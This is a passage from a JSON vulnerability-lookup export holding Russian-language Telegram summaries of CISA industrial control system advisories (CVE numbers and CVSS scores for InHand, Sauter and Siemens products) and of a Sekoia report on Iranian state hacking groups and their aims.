\u0437\u0430\u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u0430\u0440\u043e\u043b\u044f\u043c \u0434\u043b\u044f \u0438\u0437\u0431\u0440\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u0437\u0430\u0445\u043e\u0434\u0438\u0442\u044c \u0432 \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441 \u043d\u0435\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c. \u0422\u0430\u043a\u0436\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 (CVE-2022-47911 \u0438 CVE-2022-43483, \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,1) \u0438 \u043e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 (CVE-2022-41989, \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,1), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0438\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u0445\u0430\u043a\u0435\u0440\u043e\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 CISA \u0443\u043a\u0430\u0437\u0430\u043b\u0430 \u043d\u0430 \u043f\u044f\u0442\u044c \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 InHand Networks InRouter 302 \u0438 InRouter 615, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u043a\u043e\u043c\u0430\u043d\u0434, \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430. \u0421\u0440\u0435\u0434\u0438 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u2013CVE-2023-22600, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u0439 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS: 10,0.\n\n\u0422\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 Sauter Controls Nova 220, Nova 230, Nova 106 \u0438 moduNet300, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2023-0053, \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,5) \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 (CVE-2023-0052, \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8).\n\n\u041d\u0430\u043a\u043e\u043d\u0435\u0446, \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043b\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (XSS) \u0432 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0438 Siemens Mendix SAML (CVE-2022-46823, \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,3), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u043e\u0431\u043c\u0430\u043d\u043e\u043c \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0449\u0435\u043b\u043a\u043d\u0443\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0441\u0432\u044f\u0437\u044c.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.cisa.gov/uscert/ncas/current-activity/2023/01/12/cisa-releases-twelve-industrial-control-systems-advisories \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #ICS #CISA", "creation_timestamp": "2026-07-27T00:01:09.153612Z"}, {"uuid": "11d7c51c-73da-4cdb-99b2-0cbeba6f6643", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "https://t.me/EchelonEyes/1732", "content": "\u041e\u0431\u0437\u043e\u0440 \u043a\u0438\u0431\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0418\u0440\u0430\u043d\u0430\n\n\u0424\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0430\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Sekoia \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0441\u0442\u0430\u0442\u044c\u044e \u0441 \u043e\u0431\u0437\u043e\u0440\u043e\u043c \u043a\u0438\u0431\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0418\u0440\u0430\u043d\u0430, \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0432 \u0443\u0433\u0440\u043e\u0437\u044b, \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0432\u0448\u0438\u0435 \u0432 2022-2023 \u0433\u043e\u0434\u0430\u0445.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u043f\u0440\u0435\u0436\u0434\u0435 \u0432\u0441\u0435\u0433\u043e \u0441\u0430\u043c \u0418\u0440\u0430\u043d \u0431\u044b\u043b \u0438 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0446\u0435\u043b\u044c\u044e \u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u0440\u0430\u0436\u0434\u0435\u0431\u043d\u044b\u0445 \u043a\u0438\u0431\u0435\u0440\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u0438\u043c\u0435\u043d\u043d\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0435\u0433\u043e \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u0449\u0430\u044f \u0432 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u0445 \u0432\u043e\u0437\u043c\u0435\u0437\u0434\u0438\u044f. \u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u043d\u0430\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044e \u0432 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435 \u0418\u0440\u0430\u043d \u0432\u044b\u043d\u0443\u0434\u0438\u043b\u0438 \u0434\u0432\u0430 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u044f: \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u044b \u043f\u0440\u043e\u0442\u0438\u0432 \u043f\u0435\u0440\u0435\u0438\u0437\u0431\u0440\u0430\u043d\u0438\u044f \u043f\u0440\u0435\u0437\u0438\u0434\u0435\u043d\u0442\u0430 \u0410\u0445\u043c\u0430\u0434\u0438\u043d\u0435\u0434\u0436\u0430\u0434\u0430 \u0432 2009 \u0433\u043e\u0434\u0443 \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e Stuxnet \u0432 2010, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043f\u0435\u0446\u0441\u043b\u0443\u0436\u0431\u0430\u043c\u0438 \u0421\u0428\u0410 \u0438 \u0418\u0437\u0440\u0430\u0438\u043b\u044f \u0438 \u0443\u043d\u0438\u0447\u0442\u043e\u0436\u0438\u0432\u0448\u0435\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0438\u0444\u0443\u0433\u0438 \u043d\u0430 \u0438\u0440\u0430\u043d\u0441\u043a\u043e\u043c \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0438 \u043f\u043e \u043e\u0431\u043e\u0433\u0430\u0449\u0435\u043d\u0438\u044e \u0443\u0440\u0430\u043d\u0430.\n\n\u0412 2022-2023 \u0433\u043e\u0434\u0430\u0445 \u043a\u043e\u043d\u0444\u0440\u043e\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0436\u0434\u0443 \u0422\u0435\u0433\u0435\u0440\u0430\u043d\u043e\u043c \u0438 \u0437\u0430\u043f\u0430\u0434\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0430\u043d\u0430\u043c\u0438 \u0443\u0441\u0438\u043b\u0438\u043b\u0430\u0441\u044c \u043d\u0430 \u0444\u043e\u043d\u0435 \u043f\u0435\u0440\u0435\u0433\u043e\u0432\u043e\u0440\u043e\u0432 \u043f\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044e \u0421\u043e\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f \u043f\u043e \u0438\u0440\u0430\u043d\u0441\u043a\u043e\u0439 \u044f\u0434\u0435\u0440\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435, \u043e\u0434\u043d\u0430\u043a\u043e \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0441 \u044d\u0442\u0438\u043c \u0418\u0440\u0430\u043d \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0435\u0442 \u0434\u0438\u043f\u043b\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044f \u0441 \u0421\u0430\u0443\u0434\u043e\u0432\u0441\u043a\u043e\u0439 \u0410\u0440\u0430\u0432\u0438\u0435\u0439.\n\n\u041d\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043c\u043e\u043c\u0435\u043d\u0442, \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u043e\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044e, \u0418\u0440\u0430\u043d \u043e\u0431\u043b\u0430\u0434\u0430\u0435\u0442 \u043a\u0438\u0431\u0435\u0440\u043d\u0430\u0441\u0442\u0443\u043f\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u043e\u043c, \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u043c \u0434\u0432\u0443\u043c\u044f \u0441\u043b\u0443\u0436\u0431\u0430\u043c\u0438 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438: \u041a\u043e\u0440\u043f\u0443\u0441\u043e\u043c \u0441\u0442\u0440\u0430\u0436\u0435\u0439 \u0438\u0441\u043b\u0430\u043c\u0441\u043a\u043e\u0439 \u0440\u0435\u0432\u043e\u043b\u044e\u0446\u0438\u0438 (\u041a\u0421\u0418\u0420) \u0438 \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e\u043c \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 (MOIS).\n\n\u0413\u0440\u0443\u043f\u043f\u044b \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u044f, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u041a\u0421\u0418\u0420, \u2014 APT35, APT42, Nemesis Kitten \u0438 Cotton Sandstorm (ex-NEPTUNIUM) \u2014 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u044b \u043d\u0430 \u0446\u0435\u043b\u044f\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c\u0438, \u0432\u043e\u0435\u043d\u043d\u044b\u043c\u0438, \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438, \u043c\u043e\u0440\u0441\u043a\u0438\u043c\u0438 \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442\u043d\u044b\u043c\u0438 \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u043c\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c\u0438, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u043c\u0438 \u043d\u0430\u0434 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c\u0438 \u0418\u0440\u0430\u043d\u0430 \u0438 \u0411\u043b\u0438\u0436\u043d\u0435\u0433\u043e \u0412\u043e\u0441\u0442\u043e\u043a\u0430. \u0425\u0430\u043a\u0435\u0440\u044b \u043f\u0440\u043e\u0432\u043e\u0434\u044f\u0442 \u043a\u0438\u0431\u0435\u0440\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043c\u0435\u0442\u043e\u0434\u044b \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u0444\u0438\u0448\u0438\u043d\u0433\u0430 \u0432 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0435\u0442\u044f\u0445 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0438 \u043f\u0440\u0435\u0441\u043b\u0435\u0434\u0443\u044f \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0446\u0435\u043b\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0448\u043f\u0438\u043e\u043d\u0430\u0436, \u0441\u0430\u0431\u043e\u0442\u0430\u0436, \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438, \u0432 \u043c\u0435\u043d\u044c\u0448\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0431\u044b\u043b\u0438.\n\n\u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0418\u0441\u043b\u0430\u043c\u0441\u043a\u043e\u0439 \u0420\u0435\u0441\u043f\u0443\u0431\u043b\u0438\u043a\u0438 \u0418\u0440\u0430\u043d \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0443 \u0441\u0438\u0433\u043d\u0430\u043b\u043e\u0432 \u0438 \u0441\u0431\u043e\u0440 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438\u0437 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u0438 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u043d\u044b\u043c \u0438 \u043c\u0435\u043d\u0435\u0435 \u0438\u0434\u0435\u043e\u043b\u043e\u0433\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c, \u0447\u0435\u043c \u041a\u0421\u0418\u0420. \n\n\u0425\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0435 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e\u043c \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u2014 MuddyWater, Oilrig (\u043e\u043d\u0430 \u0436\u0435 APT34), Hexane, Agrius \u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f DarkBit (\u043e\u043d\u0430 \u0436\u0435 DEV-1084) \u2014 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u044b \u043d\u0430 \u0442\u0430\u043a\u0438\u0445 \u0441\u0435\u043a\u0442\u043e\u0440\u0430\u0445, \u043a\u0430\u043a \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u043a\u0430, \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438, \u043c\u043e\u0440\u0441\u043a\u043e\u0439 \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442. \u041e\u043d\u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u044f\u0442 \u043d\u0430\u0441\u0442\u0443\u043f\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432 \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e-\u0434\u0438\u0432\u0435\u0440\u0441\u0438\u043e\u043d\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445 \u0438 \u0446\u0435\u043b\u044f\u0445 \u0432\u043b\u0438\u044f\u043d\u0438\u044f.\n\n\u0421\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0438\u0440\u0430\u043d\u0441\u043a\u0438\u0435 \u0441\u043f\u0435\u0446\u0441\u043b\u0443\u0436\u0431\u044b \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0441 \u0447\u0430\u0441\u0442\u043d\u044b\u043c\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u043c\u0438 \u0438 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430\u043c\u0438 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0432\u044b\u0441\u043e\u043a\u043e\u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0445 \u0430\u0442\u0430\u043a. \n\n\u0426\u0435\u043b\u0438 \u0438\u0440\u0430\u043d\u0441\u043a\u0438\u0445 \u043a\u0438\u0431\u0435\u0440\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439: \n\n- \u0441\u0431\u043e\u0440 \u0440\u0430\u0437\u0432\u0435\u0434\u0434\u0430\u043d\u044b\u0445 \u0443 \u0433\u0435\u043e\u043f\u043e\u043b\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u043e\u043f\u0435\u0440\u043d\u0438\u043a\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u0418\u0437\u0440\u0430\u0438\u043b\u044c, \u0421\u0430\u0443\u0434\u043e\u0432\u0441\u043a\u0430\u044f \u0410\u0440\u0430\u0432\u0438\u044f \u0438 \u0441\u0442\u0440\u0430\u043d\u044b \u041f\u0435\u0440\u0441\u0438\u0434\u0441\u043a\u043e\u0433\u043e \u0437\u0430\u043b\u0438\u0432\u0430;\n\n- \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0437\u0430 \u0433\u0440\u0430\u0436\u0434\u0430\u043d\u0430\u043c\u0438 \u0418\u0440\u0430\u043d\u0430, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0437\u0434\u0435\u0441\u044c \u0440\u0430\u0437\u0432\u0438\u0442 \u0448\u043f\u0438\u043e\u043d\u0430\u0436 \u0447\u0435\u0440\u0435\u0437 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0435 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u044b.\n\n- \u0440\u0430\u0437\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043d\u0430 \u0441\u0430\u0443\u0434\u043e\u0432\u0441\u043a\u0443\u044e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e Saudi Aramco, \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0410\u043b\u0431\u0430\u043d\u0438\u0438, \u0438\u0437\u0440\u0430\u0438\u043b\u044c\u0441\u043a\u0438\u0439 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438\u043d\u0441\u0442\u0438\u0442\u0443\u0442 \u00ab\u0422\u0435\u0445\u043d\u0438\u043e\u043d\u00bb);\n\n-  \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 (\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438) \u0441 \u0446\u0435\u043b\u044c\u044e \u043f\u0440\u043e\u0434\u0432\u0438\u0436\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043b\u0438\u044f\u043d\u0438\u044f;\n\n- \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0431\u044b\u043b\u0438, (\u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u043d\u044b\u043c\u0438 \u0444\u0438\u0440\u043c\u0430\u043c\u0438, \u043d\u0430\u043d\u044f\u0442\u044b\u043c\u0438 \u041a\u0421\u0418\u0420) \u2013 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0434\u043e\u043b\u0433\u043e\u0441\u0440\u043e\u0447\u043d\u0430\u044f \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0443 \u0438 \u043c\u0430\u0439\u043d\u0438\u043d\u0433\u0443 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442\u044b \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Log4J, \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0432\u0448\u0430\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0421\u0428\u0410. \n\n\u0427\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0418\u0440\u0430\u043d\u0430 \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0441\u0444\u0435\u0440\u0435 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u043a\u0438, 